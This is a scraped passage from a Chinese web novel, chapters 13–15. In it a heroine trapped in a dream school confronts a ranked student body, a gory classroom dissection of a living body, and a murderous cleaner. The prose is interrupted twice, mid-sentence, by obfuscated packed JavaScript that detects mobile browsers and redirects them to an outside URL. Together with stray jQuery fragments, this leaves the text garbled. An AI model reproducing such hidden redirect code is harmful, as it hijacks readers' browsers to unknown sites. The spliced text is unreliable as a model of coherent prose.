潼燏无奈地接受了还困在梦里的事实,仰着脑袋站在墙下比划起了围墙的高度,张着嘴惊叹道:“这也太高了吧!” 这学校围墙少说也得有二十几米,高得她把脖子绷直了才能看见顶端的蓝天。 我嘞个去,这么高的围墙是用来防飞贼吗?苍蝇飞进来都有些费劲吧,单从外面看,估计都要以为这里面是一所监狱了。 “这到底怎么回事,我明明都已经出来了,为什么两眼一睁还在梦里啊?”潼燏沮丧地蹲在阴凉的墙角边,捧着脑袋自言自语道,“这是谁的梦啊?难道又是宋洹默的梦境吗?可是他的梦不是已经结束了吗?” 思索了一会,她站起身,单手遮在眼睛上仔仔细细在操场上搜寻了一遍,没有找到他的身影。 “他不在这,难道这不是他的梦?那是谁的梦?”潼燏这下真迷糊了,接连不断的突发情况搞得她整个脑子都乱成了一团浆糊,搅来搅去也找不到真相所在。 “啊啊啊,要疯了,不行不行,我要淡定,遇事不要慌,我一定能想到解决的办法。”她不断地劝说着自己冷静下来,集中所有的注意力想象出了一个粉色的小电风扇,但她眼巴巴地等了半天,手里还是空空如也。 “啊——” 潼燏彻底崩溃,哀嚎一声后仰天长叹道:“老天爷啊,这到底什么情况啊?我的控梦之力怎么还没回来啊,系统大哥,你倒是吱一声啊,你怎么能忍心看着我一个人孤苦伶仃地在这里受苦,快让我出去啊!” 天呐,谁来救救她啊! 13. 校规(二) “叮铃铃。” 下课铃声响起,操场上的学生们在体育老师的指挥下麻利地收拾完器械,一个个大汗淋漓地朝着教学楼走去。 潼燏见他们都走了,趁那大肚男不注意,悄咪咪地跟上了大部队。 她现在连这梦是什么情况都一无所知,只能先走一步看一步了。 眼下这个情况,她得先找到梦主在哪,没准这家伙也刚上完课呢! “唉,真是刚出虎口又入狼窝,没完没了了。”潼燏无精打采地走在楼梯上,一步一脚走得十分疲惫。 半小时前,她还在为逃出食人族的追捕而庆幸,但没想到还没等她喘口气,这老年痴呆的梦境系统又犯了抽,竟然送她重归校园了。 以她对梦境的了解,这个梦也绝对不会是什么善茬,风平浪静的背后指不定藏着什么呢,说不定待会上了楼,惊喜,哦不,惊吓就来了。 潼燏左思右想地上了三楼,跟着前方的人流转身拐进了左边的走廊。 成群结队的学生从教室里走了出来,三三两两地聚在走廊上说笑打闹。 但她无心顾及这些,继续思索着在人群中不急不缓地穿梭着,正当她无力地抬起头,打算先找找梦主在哪时,眼神无意中一撇,看到了一个在人群中闪闪发光的男生。 他身型瘦长,个子很高,高挑的身材在一群年轻男女中很是耀眼。 他穿着一身蓝白相间的校服,慵懒地背靠在身后的白色栏杆上,修长的双手随意地搭在两边,骨节分明的手指轻落在长杆上缓声叩击着。 少年的黑色发丝在金色的阳光下肆意翻飞,琥珀色的浅瞳在光芒的渗透下宛如一汪神秘又极具诱惑力的清泉。 他的身边围着一堆男男女女,人群中不知是谁讲了个笑话,引得众人哄堂大笑,他在一片张扬的笑声中微微侧头,双眼一弯,红润的薄唇勾起了一个恰到好处的弧度。 谈笑间,他抬起白皙的手指轻轻拨了下额前的发丝,顿时引得一众少男少女纷纷侧目,向他投来了或爱慕或羡慕的目光。 而少年则像是习惯了一般,依旧面不改色地沐浴在阳光之下,堂而皇之地接受着众人的目光洗礼。 “宋洹默!” 一道响亮的咆哮声如惊雷般在走廊上炸开。 一时间,所有的欢笑声戛然而止,大家纷纷转头,整齐划一地朝着声音的方向看去。 少年听到有人喊他的名字,清澈的目光越过人群的头顶,看到一个长发女生拨开挡道的众人,气势汹汹地走到了他的面前。 下一秒,她毫不客气地抓住了他的胳膊,像是抓到了救命稻草般,睁着一双水润的大眼睛兴奋道:“原来你在这啊,刚才真是吓了我一跳,我还以为只有我一个人在梦里呢,看到你在我放心多了。” ? 宋洹默一脸问号地看着她,这女生黑发圆眼,是他从没见过的生面孔,虽然她长得还算好看,但说话怎么神神叨叨的,还一上来就拉他的手,真是一点都不礼貌。 他皱了皱眉,推开了她的手,轻笑一声道:“同学,不好意思,你认错人了。” “你还真是一如既往的幽默。”潼燏没发觉他的不对劲,还独自沉浸在老乡见老乡两眼泪汪汪的剧情里。 她抬手擦了擦根本不存在的空气眼泪,疑惑道:“刚才我俩不是已经出去了吗,怎么一睁眼还在梦里?你的梦不是已经结束了吗?” 她说的是人话吗?怎么一个字都听不懂? 宋洹默敛了敛眸,不动声色地收起笑意打量起了她。 他们所在的这所学校向来只招成绩优异的人,这个女生说话牛头不对马嘴,确定不是混进来的吗? 他懒得再搭理这个莫名其妙的女生,腿一收站直了身体,双手悠哉地插进裤子口袋里,挑了挑眉冷言道:“我说了,我不认识你,让开。” 潼燏见他如此冷若冰霜,熟悉的脸庞上铺满了冻人的冰雪,深邃的眉眼间透着五个明晃晃的大字—— “我不认识你” 她心中一惊,不由得怀疑起自己是不是真的认错了人,语气一转,弱弱地试探道:“你......你是宋洹默吗?” “不然呢?” “那你不知道我是谁吗?” 宋洹默低眸扫了眼她校服上的名牌,上面写着“潼燏”两字,他伸出手戳了下她的牌子,嘲讽道:“怎么,你很有名?” “不是,我不是这个意思,你怎么回事啊,咱俩都经历这么多了,你怎么一转头又把我忘了。”潼燏再次抓上了他的手臂,指着自己焦急道,“你再仔细看看,是我啊,我是潼燏。” “哇哦。” 四周围观的同学们听到她的话,小小地低呼了一声,十分有默契地揣测起了二人的关系。 一群人正大光明地站在两位正主面前,一边吃瓜一边八卦道:“他们不会是情侣吧?” “不可能,宋洹默是我们学校第一大帅哥,怎么可能看上她这样平平无奇的女生。” “但我觉得这女生挺好看的呀,两人看起来挺般配的。” “听这口气,估计是闹分手,女生不愿意分。” “肯定是单相思,毕竟宋洹默这么帅,难免有几个花痴故意凑上来演这么一出,就是想引起他的注意,可惜她算错了,宋洹默不吃这一套哈哈哈。” “我觉得你说的对,这女的是小说看多了吧哈哈哈。” “......” 宋洹默听着他们的指指点点,耳根一红,深深地觉得自己向来维持良好的清誉遭受到了无端的诋毁。 而这万恶的源头,就是站在他面前的这个胡言乱语的疯子! “你给我走开。”他顿时有些气急,一把甩开潼燏的手,大步流星地朝着教室走去。 “你别走!” 潼燏眼疾手快地揪住他的衣服下摆,像块狗皮膏药似的黏在他的身侧,不依不饶道:“你不许走,你的梦还没有结束,你不能就这样把我忘了,我可没那么多时间唤醒你,你最好立刻马上,现在就给我想起来。” 宋洹默见她纠缠不休,实在烦透了她,转身从她手中扯回自己的衣角,往前逼近一步警告道:“神经病吧你,有完没完,你要是再缠着我,后果自负。” 潼燏无缘无故挨了骂,不禁有些生气,瞪着他怒骂道:“我看你智商二百五,换个梦就把我忘了,你脑子是不是不好使啊!” “你有本事再说一遍。”宋洹默眸色一暗,又往前压了一步,浑身的气压瞬间低到了极点,吓得周围的人齐齐闭上了嘴,不敢再出声。 “好吧,既然你真的把我忘了,那我就只能试试这个办法了,毕竟我也没那么多时间再苦口婆心地唤醒你一次。” 潼燏握着自己的右手腕活动了一下五个手指,十分有礼貌地对他鞠了个九十度的躬,抬起头狡黠一笑,先礼后兵道:“可能有点痛,辛苦你忍一忍哦。” 宋洹默被她这莫名的举动搞得丈二和尚摸不着头脑,“嗤”了一声,鄙夷道:“你又发什么神......” “啪!” 一记清脆的巴掌声从人群里响起,硬生生地将宋洹默嘴里的话打了回去。 周围的吃瓜群众被这快速发展的偶像剧剧情惊呆在了原地,最先反应过来的几个女生捂着嘴窃窃私语道:“这下真得分了。” “一言不合就开打,怪不得宋洹默看不上她。” “她竟然敢打校草,她哪个班的啊!这么嚣张!” “勇士啊,这下宋洹默绝对要发飙了,有好戏看咯。” “......” 潼燏无视掉旁人的闲言碎语,甩了甩打疼的手掌,心虚地对着宋洹默不停地曲腰哈背,连连致歉道:“对不起对不起,我只是想让你快点想起来,目前来看只有这个办法又快又有效,所以我只能对不起你了,但我真不是故意的,我也是为了你好。” 宋洹默被她一巴掌扇得偏过了脸,白皙的脸庞印上了五个鲜明的指印,微微扬起的下颚角锋利得像是要化成利刃刺向攻击他的贼人。 潼燏见他久久不说话,心中顿时有些慌乱,大脑瞬间开启了头脑风暴。 万一他没想起来,那岂不是白打了?他一生气,会不会以牙还牙,也给她一巴掌? 不行啊,这肯定超痛! 为了不挨揍,她立马弯着腰不停地道歉,虔诚道:“对不起啊宋洹默,对不起对不起,我只是想让你想起我,这样我们才能尽快离开这个梦啊,我也是为了你才这么做的。” 在她努力的致歉下,面前的宋洹默终于有了反应。 他缓缓地回过头,脸上乌云密布,阴霾的眼眸里像是要劈下一道闪电,将潼燏这个罪魁祸首炸成一块块焦黑的碎渣。 他气愤地捏紧了拳头,咬着后槽牙怒不可遏道:“潼燏,你又发什么疯!” 潼燏自知做错了事,唯唯诺诺道:“对不起啊,我真不是故意的,我只是想让你想起来。” “你就不能换个温柔点的方式吗?”宋洹默揉着泛疼的脸,气不打一处来。 “我也想啊,但是没有啊,论效率的话,这个比较快。”潼燏垂丧着脸,意识到什么后,抬起头惊喜道,“你想起来啦!” 宋洹默狠狠瞪了她一眼,指着自己红肿的左脸,气恼道:“我要是再不想起来,你是不是要把我扇出脑震荡?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15020133|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哪有这么夸张。”潼燏不好意思地挠了挠脑袋,狡辩道,“不至于。” “怎么不至于,看把我脸打的,我跟你有仇吗。”宋洹默越想越气,这女人真是吃了熊心豹子胆,竟然打了他第二次! 但他又不能做什么,只能懊恼地转过身,不想再多看她一眼。 “哎呀,对不起啦,大不了我也让你打一下,消消气好不好?”潼燏自知理亏,小心翼翼地走上前讨好起了他。 “我不打女人,你走开。” “那你别生气了嘛,求求你了。” “走开!” “我不走,除非你不生气了,都是我的错,你消消气好不好?” “......” 想象中的好戏并没有到来,两人一改刚才的剑拔弩张,言语间反倒变得熟络了起来。 周围的人越看越不明白,宋洹默怎么不打回去,难道他有被虐倾向? 啧啧,真是藏得好深! “叮铃铃。” 上课铃声响起,终止了这场无厘头的闹剧。 看热闹的学生们停止了吃瓜,自觉地走回了各自的教室。 宋洹默抬起脚刚想离开,就被一旁的潼燏喊住问道:“你去哪?” 他摸了摸还有些疼痛的脸颊,翻了个白眼,头也不回道:“关你屁事。” 说完便越过她,高傲地走进了自己的教室里。 “干嘛这么凶,喂,你回教室了,那我呢?我是哪个班的?”潼燏被无情地留在了原地,迷茫地看着走廊上的一排教室,不知道该进哪个。 与此同时,一个扎着马尾辫的女生探出了半个脑袋,扒着隔壁教室的门冲她喊道:“潼燏,快回来上课,老师马上就来了。” “好嘞,我来了!”潼燏立马跟着她走了进去,看到诺大的教室里就剩下第五排还有个空位,立即屁颠屁颠地上前坐了下来。 整个教室静得掉根针都能听见,所有的同学都规规矩矩地坐在桌前,身体挺得跟条直线般笔直,每个人的脑袋都摆得十分板正,双手整齐地平放在桌上,目视着前方纹丝不动。 要是从后面往前看,就会发现他们的身体都呈于同一条水平线上。 这坐得也太端正了吧,我上小学都没坐这么端正过,潼燏啧啧了两声,在心里腹诽道。 她好奇地左右张望着,发现每个人的胸前都佩戴着名牌,上面统一写着第几名。 奇怪,怎么不写名字? 她看了一圈,自来熟地戳了下同桌的手臂,悄声问道:“哎,同学,为什么胸牌上都写着第几名啊,这是按人数排列的吗?” 同桌是个寸头的男生,他穿着整齐,保持着端正的坐姿,不屑道:“这是按成绩名次排列的,这你都不知道?你是我们学校的学生吗?” “我当然知道。”潼燏睁眼说瞎话道,“不过为什么要刻在名牌上?名牌不是用来刻名字的吗?” 同桌宝贝似的扶了扶胸口的名牌,傲娇道:“这就是我们的名字,也是我们荣誉的象征,只有清楚地知道自己第几名,才能激励我们朝着更优秀的名次努力,打败所有拦在前方的敌人。” “呃......你的意思是,你们的成绩名次决定了你们的名字?”潼燏略过他慨慷激昂的一番演说,看了眼他胸前的名牌,好笑道,“所以你叫二百五?” 二百五?同桌顿时恼羞成怒,转过身指着自己的名次,严厉纠正道:“麻烦你看清楚一点,我叫第二百五十名。” 有区别吗? 潼燏忍住笑意敷衍道:“好好好,二百五十名你好,祝你下次考个第二百四十九名。” “切,你连个名次都没有,不配跟我说话。”同桌狠狠地白了她一眼,翘着兰花指扶了下鼻梁上的金丝边框,像只花孔雀似的甩着尾巴转了过去。 “没有就没有呗,我有自己的名字就行了。”潼燏不以为然地反驳了回去,继续观察起了教室里的学生。 “谁还在说话!” 人未到声音先到,一个秃头男人推着一张轮子床吱嘎吱嘎地走了进来,床上似乎放着什么东西,鼓鼓囊囊地掩盖在了一张白布之下。 他将床推到教室中央,熟练地固定好底下的滑轮,刚起身就猛地抓起白布上的盘子狠狠地砸在了讲台上。 “嘭!” 铁盘当即发出了一声巨响,放置在里面的东西全都如弹簧般蹦了出来,全数撒在了桌面上。 秃头男人发完威,抓起台上的戒尺瞪着一双肿泡眼从左指到右,捋了捋寸发不生的头顶凶神恶煞道:“整个教学楼就听见你们班有声音,你们是我带过最差的一届!” ...... 14. 校规(三) “每个人耽误一分钟,四十个人就是四十分钟。”潼燏坐在底下挤眉弄眼地模仿着他,这些班主任的统一话术她从小到大听了N遍,但凡是个老师都无一例外地说过一模一样的话,简直就是教育界亘古不变的传统。 真是太令人怀念了! 潼燏不由得伤春悲秋了起来,以前读书的时候她老想着赶紧毕业赶紧工作,以她的聪明才智绝对能在IT界混得风生水起,成为当代年轻人的翘楚。 但直到毕业后实习了一个月,在地中海领导的手下受尽折磨后她才幡然醒悟,当初怎么会有如此愚蠢的想法! 上班哪有上学香啊! 真是年少无知! “啪!” 黄色的戒尺一不留神狠狠拍在了她的课桌上,潼燏被吓得浑身一抖,一抬头就看到秃头男人正瞪着一双黄豆大小的肿泡眼满脸不爽地看着她,浮肿又狭窄的眼缝里透着一股似曾相识的怒意。 她的目光顺势而下,看到他胸前的名牌上清清楚楚地写着“班主任”三个大字。 怪不得看这架势眼熟呢,原来他就是他们班的老大,班主任啊! “老师,对不起,我绝对认真听讲,不再说话了。”潼燏先发制人,立即双手一放头一昂,两眼炯炯有神地盯着前方的黑板,坐得那叫一个板板正正。 “都给我认真点,敢在我课堂上开小差的人,你们知道有什么后果!”班主任见她态度还算端正,狠话一放,大发慈悲暂且放过了她。 他一路甩着戒尺回到了讲台前,伸手敲了敲轮子床上的铁架,睥睨众生道:“这节课我将进行一次课堂测试,希望大家都能表现优异,如果有没能让我满意的,那就请这位同学自求多福。” 说完,他伸出妖娆的兰花指,捏住垂落的布角一把掀开了床上遮盖的白布。 一具全身赤裸的人体猝不及防地出现在了全体同学的面前。 然而台下的众人都极其镇定,他们像是习以为常般极为坦然地看着面前这具赤裸裸的人体,人群中只有潼燏被这突如其来的一幕吓得险些喊出了声。 她仓皇地捂住了嘴,惊慌的瞳孔在眼眶里微微地颤抖,在梦境中见过无数光怪陆离的她怎么会被眼前这区区一具虚假的人体吓到,但与之前截然不同的是,现在躺在她面前的并不是一具普通的人体。 这是一具年轻的男性尸体。 他长相清秀,柔和的五官安静地铺在了一张苍白的脸庞上,好似沉睡了一般安详地躺在冰冷的铁床上。 白到发青的皮肤下淡红色的肌肉纹理如脉络般遍布了全身,恍惚间,他似乎并不是一具真实的尸体,而是一具极为仿真的人体模型。 但最令人惊恐的是,男人瘦弱的胸膛被尖刃割开了一个漆黑的血洞,胸口的两瓣皮肉像双开门冰箱一样左右打开,清晰可见地露出了体内还未停止生命的五脏六腑。 一颗拳头大小的心脏在温热的胸腔里一张一缩地跳动着,红色的冠状动脉如花冠般缠绕在赤红的心脏之上,一旁暗红色的静脉血管似生命源泉般源源不断地为它供养着新鲜血液。 无数的血管连接着他身体里的内脏,带动着男人的胸腔一起一伏,像是还在呼吸一般。 秃头班主任连手套都不戴,直接徒手整理了一下尸体上翻开的皮肉,鲜红的鲜血粘在了他干枯皱巴的手指上。 他随手抽了两张讲台上的纸巾,一边擦手一边对着众人说道:“上次我已经教过你们如何解剖心脏,今天就看看你们学得怎么样,顺便提醒你们一下,此次成绩将纳入期末考核,优秀者加一百分,不合格者直接扣除一百分!” 这句话似重石落在水面上激起了惊涛骇浪,所有人都亢奋了起来,他们如狼似虎地盯着台上的男人,贪婪的眼神像是在看唾手可得的一百分一般,纷纷举手争抢着上台表现自己。 “老师,我先来!” “老师,上节课你表扬我表现得不错,这次我可以做得更好!” “老师,我我我!我上次小考满分!” “......” 众人焦躁不安,疯狂地在座位上你争我夺,生怕晚了一秒,这晋级名次的好机会就被人抢先了去。 好像那躺在床上的并不是一具人体,而是他们用来向上攀爬的工具而已。 一个个如猎豹般的眼神里多了一丝对竞争者的愤恨,他们恨不得一口吞掉对方,这样自己就能第一个上去了。 “都给我坐下,按照名次一个个上来,第一名,你先来。”秃头班主任对他们的竞争很是满意,但一切都得按规矩来。 他一声令下,谁也不敢再说话,所有人老老实实地坐了下来,齐齐朝着第一名看去。 “好的,老师。”名叫第一名的短发女生坐在位置上微微一笑,撩起脸颊旁的黑发别到了耳后,她理了理身上的校服,从容地站起身,在一众羡慕嫉妒恨的眼神里满脸自豪地走上了台。 她走到讲台前快速扫了一眼铁盘里的工具,眼神一定,熟练地戴好外科手套,从盘子里拿起了一把锋利的手术刀。 她高举着闪着冷光的刀刃,一脸淡漠地走到尸体前,手上一落,径直对着那怦怦跳动的心脏一刀割了下去。 霎那间,一股温热的鲜血从涌动的血管里喷涌而出,似喷泉般溅得台上到处都是,甚至连高高在上的天花板也连带着遭了殃,沾上了不少星星点点的血渍。 “厉害!不愧是第一名!” 台下的学生们在静置一秒后,爆发出了一阵热烈的欢呼声。 众人纷纷起身鼓掌,对她这快准狠的手法报以了最直白的赞赏,秃头班主任背着手站在一旁,十分欣慰地冲她点了点头,夸赞道:“不错,继续。” 第一名听到老师的赞扬,淡漠的眼里闪过了一丝傲慢,她抬手擦了擦脸上溅到的血迹,像一名老练的屠夫般淡定地站在血淋淋的屠宰场里,开始了早已操练过千百回的切割。 她一刀一刀精准地割在了跳动的心脏上,源源不断的鲜血随着她的动作似小溪般从破开的胸膛处涓涓流下,在地上凝成了一团腥红的血潭。 潼燏被这血腥暴力的场面彻底冲击到了,随着第一名的不断切割,她隐约间似乎听见尸体发出了痛苦的呻吟声,像是在哀求一般,诡异而又绝望。 “不要再割了,好疼啊!” “啊啊啊,求求你别再割了,好疼,好疼,真的好疼啊!” “……” “住手!” 她再也看不下去,死死地捏着拳头站起身,一脚踢开身后的椅子,强忍着恐惧想要上前阻止。 谁料胃里突然一阵翻江倒海,喉咙口猛然涌上了一股酸水。 “唔。”她立马停住脚步,单手撑在桌面上捂住了嘴,本想将这恶心先压下去,但没成想还没等她咽下去,一股更加猛烈的酸水如潮水般涌了上来直逼她的咽喉。 这下是真的憋不出了。 “唔……”她弯腰捂着嘴,狼狈地打开后门冲了出去,像只无头苍蝇般焦急地在走廊上打转,嘴里的东西已经刻不容缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15031928|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她急中生智抬头一看,头顶的指示牌上刻着一个向前的箭头,旁边还十分生动形象地画着一个白色的马桶。 有救了! 她立即按照指示的方向百米冲刺跑进了厕所,一个猛扑趴在洗手台前吐了出来。 “呕......呕......呕......” 一阵剧烈的干呕后也只是吐出了一堆酸水,潼燏难受地撑在洗手台上缓了片刻,打开水龙头捧了些清水漱了漱口,胃里的恶心在吐完后总算好了一些。 这到底是在上解剖课还是在杀人啊? 刚才那血腥的画面还停留在她的脑海里挥之不去,潼燏虽然见过许多比这更恐怖更渗人的梦境,但这次与以往不同,她是实实在在地看到一个人对着一具还在呼吸的人体一刀刺了下去,这场面无比清晰真实,她甚至能感觉到那流淌的血液都是温热的。 她已经分不清那躺在台上的到底是尸体还是活生生的人。 潼燏低下头洗了把脸,冰冷的清水让她清醒了不少,她抬起手背抹去了脸上的水珠,对着镜子里的自己自我安慰道:“哎呀想那么多干嘛,这只不过是个梦而已,都是假的,干嘛那么大惊小怪,你可是人类梦境守护者,什么大场面没见过,这区区一具小尸体还能吓得到你?都是假的啦,淡定。” 她三言两语安抚好了自己,甩了甩脑袋将那些恐怖的画面扔出了脑海,走到墙边抽了两张擦手纸,一边擦手一边宽慰道:“待会回去一定要冷静,我堂堂梦境霸主,可不能丢面。” “呲啦......呲啦......” 身后的门板忽然发出了刺耳的声响,像是有人在里面用指甲不停地刮擦着门板。 潼燏向来对这种声音十分敏感,她听得浑身难受,随手将手里的纸巾揉成一团丢进了一旁的垃圾桶,转身对着发出噪音的第三扇厕所门喊道:“里面的同学,你有事吗?能不能不要抓门啊,这声音真的听得人很难受。” 没有人说话,只有呲啦呲啦的刮门声回应着她。 潼燏狐疑地等了一会,朝着门走近了一步,提高了音量道:“同学,你是有哪里不舒服,需要帮助吗?” “呲啦......呲啦......” 声音还在继续,却一直都没有人说话,难道是有人在里面出事了无法出声,只能用这种方式来求救? “同学,你怎么了,是发生什么事了吗?”潼燏又走近了一步,站在门口询问道,“如果是需要帮助的话,你就敲两下门,我会马上进来帮你。” 话音刚落,刮门声戛然而止,潼燏心中一惊,难道里面的人真的出事了? 是没厕纸了还是哪里不舒服了? 正当她胡思乱想时,呲啦呲啦的刮门声再次响起。 “啊?这什么意思?”她被这奇怪的动静搞得有些懵圈,心里虽然有些害怕,但还是壮着胆子走上前,伸出一根手指对着门轻轻一推,犹豫道,“同学,不好意思,我不太明白你的意思......” “吱嘎——” 明明是锁着的门却被她推开了一条缝隙,潼燏手下一滞,尴尬道:“呃,这门怎么开了?不好意思啊同学,要不你再关上?” 但门里的人像是没听见她的话,一时间安静了下来,也没有丝毫要锁门的迹象。 “呃……”潼燏尴尬地站在门口,正当她犹豫着要不要直接推门时,厕所门口响起了一声如河东狮吼般的咆哮声。 “你在这鬼鬼祟祟的干什么!” 15. 校规(四) “啊!” 潼燏吓得叫出了声,手上一颤,刚推开的门缝被里面的人“嘭”的一声关上了。 她无力地收回手,捂着怦怦乱跳的胸口,对门口拿着拖把的保洁阿姨心有余悸道:“阿姨啊,你走路怎么一点声音也没有,还有你突然喊那么大声干什么呀,吓得我心脏怦怦的。” 潼燏紧紧地捂着自己的胸口,还好刚才及时稳住了,不然她真差点吓得腿一软倒在了地上。 这一天天的真是受够了,怎么走哪都要受惊吓啊!她这小心脏都快撑不住了。 “现在是上课时间,你在这鬼鬼祟祟的干什么?”身穿灰色工作服的保洁阿姨气势汹汹地走了进来,手一抬顺势将拖把杵进了一旁的水池里。 她转过身,皱着刚纹不久的棕红色浓眉上上下下看了潼燏一圈,唰的一下从裤兜里掏出一本黑色的小本本,满脸暴躁道:“你哪个班的?上课时间不能上厕所,这是学校的规定!我要告诉你们班主任,扣你学分!” 什么?潼燏顿时不满,回怼道:“这什么破规定,人有三急,凭什么不能上厕所。” “规矩就是规矩,上课时间不好好在教室里听讲,竟然跑到厕所里来撒野!真是好大的胆子!” “撒野?阿姨,请你注意用词好吗,我是来这里上厕所,不是来这里玩的,OK?”潼燏被她的话无语住了,谁没事来厕所玩啊,咋的,屎里藏金了? 保洁阿姨见她还敢回嘴,气得浓眉上燃起了怒火,“撕啦”一声划破了本子,将手里的黑色钢笔对准她怒骂道:“竟然顶嘴,你这种败类不配当我们学校的学生!你哪个班的,我要告诉你们班主任,让他好好教训教训你!” “你管我哪个班的,你又是哪个部门的,叫什么名字?我要跟你们领导好好说道说道,工作时间内不但不认真履行自己的职责,还无缘无故遏制学生上厕所,我要跟你上级汇报,扣你工资!” 潼燏一点也不惯着她,缓过神后直接魔法对抗起了魔法,捂着自己胸前的名牌义正言辞道:“工作不认真,该管的不管,不该管的管那么多,你家住海边啊!” “你!你这个贱人!”保洁阿姨彻底被她击溃,抓着手里的钢笔狠狠地朝着她的脖子戳了过来。 潼燏见状,一个闪身蹿到了墙边,捂着自己撞疼的手臂气呼呼地冲她喊道:“你疯啦,说不过我骂人也就算了,竟然还想下死手,你真是玩不起啊你,至于吗你!” “敢骂我,你今天别想走出这里!”保洁阿姨发了狂,双眼猩红地盯着她,不动声色地反手握住了手里尖锐的钢笔,似猎人般伺机寻找起了进攻的机会。 潼燏眼神一低,敏锐地察觉到了她的动机,浑身的汗毛在极强的危机感下瞬间立了起来,她快速查看了一圈周边,空无一物,想顺手捞个防身的物件都没有。 完了,这下不会真要命丧厕所了吧。 天呐,早知如此,何必嘴硬呢? “呵呵,姐,没必要这么生气吧,我刚才只是跟你开个玩笑,别当真嘛,我认错,我不该在上课时间上厕所,不该顶嘴,这是我的名字你尽管记,我认错认罚,您大人有大量,不要跟小的计较。”潼燏满脸堆笑,一边极力讨好一边抓起自己胸前的名牌殷勤地展示给对方,生怕她没看清楚自己的名字。 “哼,现在认错?晚了!”保洁阿姨一声冷笑,握着手里的钢笔一个猛扑朝着潼燏袭去。 “我去你丫的!”潼燏找准时机,趁她抬手刺来之际,一个弯腰从她手臂下躲了过去。 她快步跑到洗手池旁抓起池子里的拖把一个回身猛劈,将上面的污水尽数甩在了对方的脸上,大喊道:“给你免费洗个头!” 数十条带着脏水的灰色布条如狂风暴雨般噼里啪啦地砸在了保洁阿姨保养多年的脸上,随着布条的落下,那张气得爆红的脸瞬间煞白,紧致的脸庞上硬生生被扇出了几道红痕,刚做完提拉的眼角也被这物理攻击即刻打回了原型。 一夜回到了解放前。 “你......我......”保洁阿姨被拖把扇得晕头转向,语言系统暂时崩坏。 她越过潼燏看到了后方镜子里的自己,在看清自己蓬头垢面的狼狈模样后,颤抖着手捂上了眼角,摸着眼尾那几条昨天刚提拉上去的鱼尾纹不可置信道:“我刚做的美容,怎么......怎么会这样,我......我的脸上怎么能出现皱纹......” “是你,都是你害的,是你毁了我绝世的容颜,是你!”她愤恨地将目光转到了潼燏的脸上,指着她暴怒道,“你毁了我,我要杀了你!” “关我什么事,明明是你先动手的,我只是正当防卫而已。”潼燏继续回怼着她,一边说一边牢牢地握着拖把,似螃蟹般偷偷摸摸地朝着厕所门口挪去。 “想跑?没门!”保洁阿姨看穿了她的心思,快步上前想要揪住她,但潼燏的反应比她更迅速,举起拖把往她身上一丢,她本能地抬手一挡,潼燏趁此机会,一个箭步冲出了厕所。 刚跑出门,她还不忘回头对身后的手下败将做起了鬼脸,扒着嘴角嘲讽道:“略略略,我就跑怎么滴,你今年都五十了吧,长点皱纹有什么大惊小怪的,你这心态不行啊,要接受自己变老,面对最真实的自己。” 杀人诛心! 保洁阿姨这辈子最听不得别人说她老,她被气得快要喷出火来,眼尾的皱纹一下子加深了不少。 她一把抓起地上的拖把,冲出去大喊道:“你这个败类!你才五十!你有本事就再说一遍!” “你让我说我就说啊,你以为你是谁啊!”潼燏扔下最后一句挑衅,调皮地冲她吐了个舌头,撒腿就往楼道里跑去。 “你给我站住!你个败类!赔我的脸!”保洁阿姨挥舞着沾水的拖把,一边痛骂一边追逐着潼燏。 她跟随着潼燏的脚步,一会儿跳下三层台阶,一会儿跨过半米高的围栏,这矫健的身姿看起来倒真的一点都不像是四五十岁的模样。 潼燏没想到她身手如此灵活,拎着个一米多长的拖把都这么敏捷,回头一看,只见她高举着拖把三步并作两步冲下了二楼的台阶,凶神恶煞地朝着她狂奔而来。 “我去。”眼看那蓄满力的布条就要甩到她的脸上,潼燏一个灵活走位,翻过楼梯上的栏杆,纵身一跃,朝着一楼的右侧楼道跑去。 “好险,差点就被打到了,这人是不是疯了,非逮着我不放干什么,上个厕所就这么罪孽深重吗?”潼燏吓得不敢再松懈,咬紧了后槽牙闷头向前跑去,一不小心转弯慢了一步,差点被她来了个吕布开大。 “你给我站住!我今天非撕了你不可!” “你神经病啊,有完没完啊!” “你才有病,你给我站住!” “站你个头啊,你有本事别追啊!” “……” 两人你追我赶,一路骂骂咧咧,潼燏的体力逐渐有些不支,拐过一个弯后跑进了一条僻静的走廊,乘敌不备一个闪身躲进了圆柱后面。 那粗大的白色圆柱恰好将她的身躯严严实实地遮挡在了身后,等拖把战神追来时,走廊里早已没了人影。 “人呢?”保洁阿姨一个紧急刹车停住了脚步,举着拖把十分谨慎地在楼道里扫描了一圈,没有发现潼燏的踪迹。 “怎么不见了,我刚明明看到她往这里来了。”她又狐疑地检查了一遍楼道,最后将目光停留在了前方的柱子上。 有猫腻。 保洁阿姨提了提裤子,双手抓着拖把,一步一步小心翼翼地朝着柱子走去,最好了随时出击的准备。 前方的潼燏紧贴在柱子上,听到有细微的脚步声逐渐朝着她的方向靠了过来,她一紧张,立马捏紧了拳头,额头上不由得渗出了细密的汗水。 完了完了,不会被发现了吧,早知道就不躲在这里了,这下真要挨揍了,要不先跑吧?不行不行,再等等,也许她不会过来呢? 潼燏屏气凝神,将浑身的力量都聚集在了拳头上,她决定豁出去赌一把,就赌这人绝对不会走过来。 